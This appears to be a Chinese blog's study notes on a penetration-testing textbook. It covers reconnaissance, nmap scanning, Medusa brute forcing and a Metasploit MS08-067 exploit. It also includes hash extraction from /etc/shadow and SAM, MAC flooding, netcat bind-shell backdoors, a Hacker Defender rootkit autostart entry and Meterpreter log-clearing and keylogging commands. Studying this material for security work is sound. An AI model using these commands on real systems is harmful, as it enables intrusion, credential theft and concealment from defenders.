《渗透测试实践指南》阅读笔记


信息收集:

HTTrack - 网站复制机
克隆网站很容易被跟踪,同时也会被视为极具攻击性。

留意新闻公告和招聘启事。

渗透测试人员应该知道的Google黑客技术

Google Hacking for Penetration Testers

http://www.defcon.org/html/links/dc-archives.html

allintitle:index of Web服务器上所有可用的索引目录列表

site:syngress.com intitle:"index of" 寻找无法通过网页正常访问的文件

inurl:admin inurl:login

cache:只显示网页快照信息

The Harvester : 挖掘并利用邮箱地址

Whois Referral URL

Netcraft

Hosthost target_hostname host IP_address

扫描:

nmap

nmap -sT -p- -Pn 192.168.18.1-254

-p-指定扫描所有端口

-Pn 禁用主机发现功能并强行对每一个系统扫描
s扫描类型 T执行TCP连接扫描

-iL path_to_the_text_file 每行填写一个IP地址

默认SYN扫描 只完成了三次握手的前两步所以非常快 -sS

TCP(传输控制协议)连接扫描和SYN扫描都基于TCP进行通信,TCP被认为是“面向连接的协议”,需要通信双方保持同步

UDP(用户数据报协议)被称为“无连接的”,DHCP,DNS,SNMP,TFTP服务都是基于UDP协议的。

-sU 指定UDP扫描,UDP扫描非常慢,提供了很少的信息量,扫描结果几乎将所有端口都标记为open|filtered,需要添加-sV参数用于版本扫描,即-sUV,发送特制数据包识别服务,触发目标进行响应。

Xmas/Null扫描:从RFC文档寻找漏洞,只针对Linux系统。

调用NSE脚本,使用--script参数,后面加上参数或脚本名以及目标IP。

nmap --script banner 192.168.1.1

banner脚本是一个Nmap扩展,创建到TCP端口的一个连接,并将目标系统发送的任何输出打印到本地终端。在识别隐藏端口上未识别服务时极其有用。

--script categor_name 调用整组或整个类别的脚本,如 --script vuln 192.168.1.1将运行一系列在目标系统上搜索已知问题的脚本,通常只在发现漏洞时提供输出。

-T参数改变扫描端口速度,0最慢5最快。

-O参数识别操作系统。

Nessus

漏洞利用

Medusa

medusa -h target_ip -u username -P path_to_password_dictionary -M authentication_service_to_attack

Metasploit

VNC注入 要求目标系统基于GUI

从Nessus的报告或Nmap -script vuln的输出开始利用过程。利用CVE或BID序号搜索匹配的漏洞攻击程序。

search ms08-067

use exploit/windows/smb/ms08_067_netapi

show payloads 显示可用攻击载荷

set payload windows/vncinject/reverse_tcp 选择载荷

show options

set RHOST 192.168.18.131

set LHOST 192.168.18.130

show options

exploit

密码破解

John the Ripper 通过基准程序衡量电脑性能

cd usr/share/john

john --test

Windows密码散列保存在SAM文件里,操作系统运行时无法访问SAM文件。需要在目标机器上启动其他操作系统(从光驱或U盘),并挂载本地硬盘。找到SAM文件,使用Samdump2提取散列。

微软原先的散列加密算法是LM,会将所有字符更改为大写并且固定14位字符(多截少补null),而且会被截断为两段各7个字符。

之后更改为NTLM算法。

Linux没有SAM文件,密码散列包含在/etc/shadow中,一般无权限访问。大多使用SHA散列加密算法。Linux还使用一个经过编辑的密码列表/etc/passwd,所有用户可读取。

unshadow /etc/passwd /etc/shadow > /tmp/linux_hashes.txt

密码重置

chntpw -i /mnt/sda1/WINDOWS/system32/config/SAM

流量

网卡默认运行在非混杂模式下,只会传递指向本机地址的特定网络流量。混杂模式则是强制网卡接收流入的所有数据包,可以嗅探到目的地址最初并非指向你的流量。若网络使用集线器连接8台计算机,1号向7号发送的流量实际会发送给其他所有连接到这个集线器的计算机,非混杂模式下其他计算机会直接丢弃流量。交换机则会参考MAC地址和端口号的匹配表,只将流量发送到7号。

大多数交换机用于保存包含MAC地址和对应端口号的匹配表的内存容量是十分有限的。通过耗尽这些内存并用大量伪造的MAC地址对该匹配表进行泛洪攻击,会导致交换机将流量广播到所有端口,这种模式被称为失效开放(fail open)。一些交换机被设置为失效关闭,即失效时直接停止数据传送,这导致了DOS攻击。

Dsniff网络嗅探工具集中的Macof可用来生成随机MAC地址对交换机泛洪。

macof -i eth0 -s 192.168.18.130 -d 192.168.18.2

Armitage

在Metasploit上运行的GUI工具,包含整个自动化的过程,对目标进行端口扫描并发动所有可能匹配的漏洞攻击。

hosts - nmap scan - quick scan(os detect) 提供IP或IP段

Attacks - Find Attacks 定位漏洞利用

Attacks - Hail Mary 自动发动攻击

More

收集各种不同的网络设备创建的默认用户名和密码。

RainbowCrack利用彩虹表破解密码。

Ettercap中间人攻击。

社会工程

SET社会工程工具包。

访问维持

Netcat:瑞士军刀

nc -l -p 1337

nc 192.168.28.132 1337

Windows版nc中,使用-L参数,即使在客户端断开连接后,目标计算机在特定的端口上仍然保持在连接状态。Linux中则需要写一个简单的bash脚本使nc重新启动。

nc -l -p 7777 > virus.exe

任何接收的输入信息都会被存储到文件virus.exe中。

传输文件时没有回显,等待片刻后CTRL+C关闭连接。

渗透中在Nmap和Nessus无法识别端口上运行的服务时,可以nc建立连接,发送信息并观察回显。默认建立的是TCP连接,可以使用-u参数强制发送UDP数据包。

如果使用-e参数启动nc,nc将会执行-e参数后指定的任何程序。

nc -l -p 12345 -e /bin/sh

nc.exe -L -p 12345 c:\Windows\System32\cmd.exe

配置后门时可使用-e参数将一个可执行命令的shell绑定到目标计算机的一个端口上。

使用Meterpreter将nc传到目标计算机System32目录下:

meterpreter > upload nc.exe c:\\windows\\system32

进入nc目录下,绑定cmd,开启nc:

meterpreter > nc -L -p 5777 -e cmd.exe

若想让后门在肉鸡重启后仍可用,需修改Windows注册表。

Nmap中的Ncat是现代版的Netcat。

Cryptcat

相当于nc的数据加密版。

Rookit

具有root权限,用来隐藏用户文件甚至操作系统本身。它可以通过挂钩(hooking)或拦截软件与操作系统之间的各种请求来进行工作,拦截并修改来自操作系统的相应。当用户识图查看进程列表时,Rookit可以从列表中瞬间删除查询到的程序、服务以及进程。

Hacker Defender

相当于Windows Rootkit。

Hxdef100.exe在目标计算机上运行;Bdcli00.exe是客户端,Hxdef100.ini是配置文件,支持*通配符,可以在对应位置添加隐藏的目录、进程、服务、注册表键、开启的端口,可以自启动程序,欺骗磁盘空间。

将nc配置成自启动且在8888端口提供一个cmd的shell:

[Startup Run]
c:\rk\nc111nt\nc.exe -L -p 8888 -e c:\windows\system32\cmd.exe

Meterpreter

  • clearev 清除应用程序、系统和安全日志中报告的所有事件。
  • getsystem 命令meterpreter尝试将权限提升到最高级。
  • hashdump 定位和显示目标上的用户名及散列。
  • keyscan_dump 显示当前从目标计算机上捕捉的击键(需先运行keyscan_start)
  • migrate 将Meterpreter shell移到另一个运行中的进程。
  • screenshot 提供来自目标机器的屏幕截图。
文章目录
  1. 1. 信息收集:
  2. 2. 扫描:
    1. 2.1. nmap
    2. 2.2. Nessus
  3. 3. 漏洞利用
    1. 3.1. Medusa
    2. 3.2. Metasploit
      1. 3.2.1. VNC注入 要求目标系统基于GUI
    3. 3.3. 密码破解
    4. 3.4. 密码重置
    5. 3.5. 流量
    6. 3.6. Armitage
    7. 3.7. More
  4. 4. 社会工程
  5. 5. 访问维持
    1. 5.1. Netcat:瑞士军刀
    2. 5.2. Cryptcat
    3. 5.3. Rookit
    4. 5.4. Hacker Defender
    5. 5.5. Meterpreter
|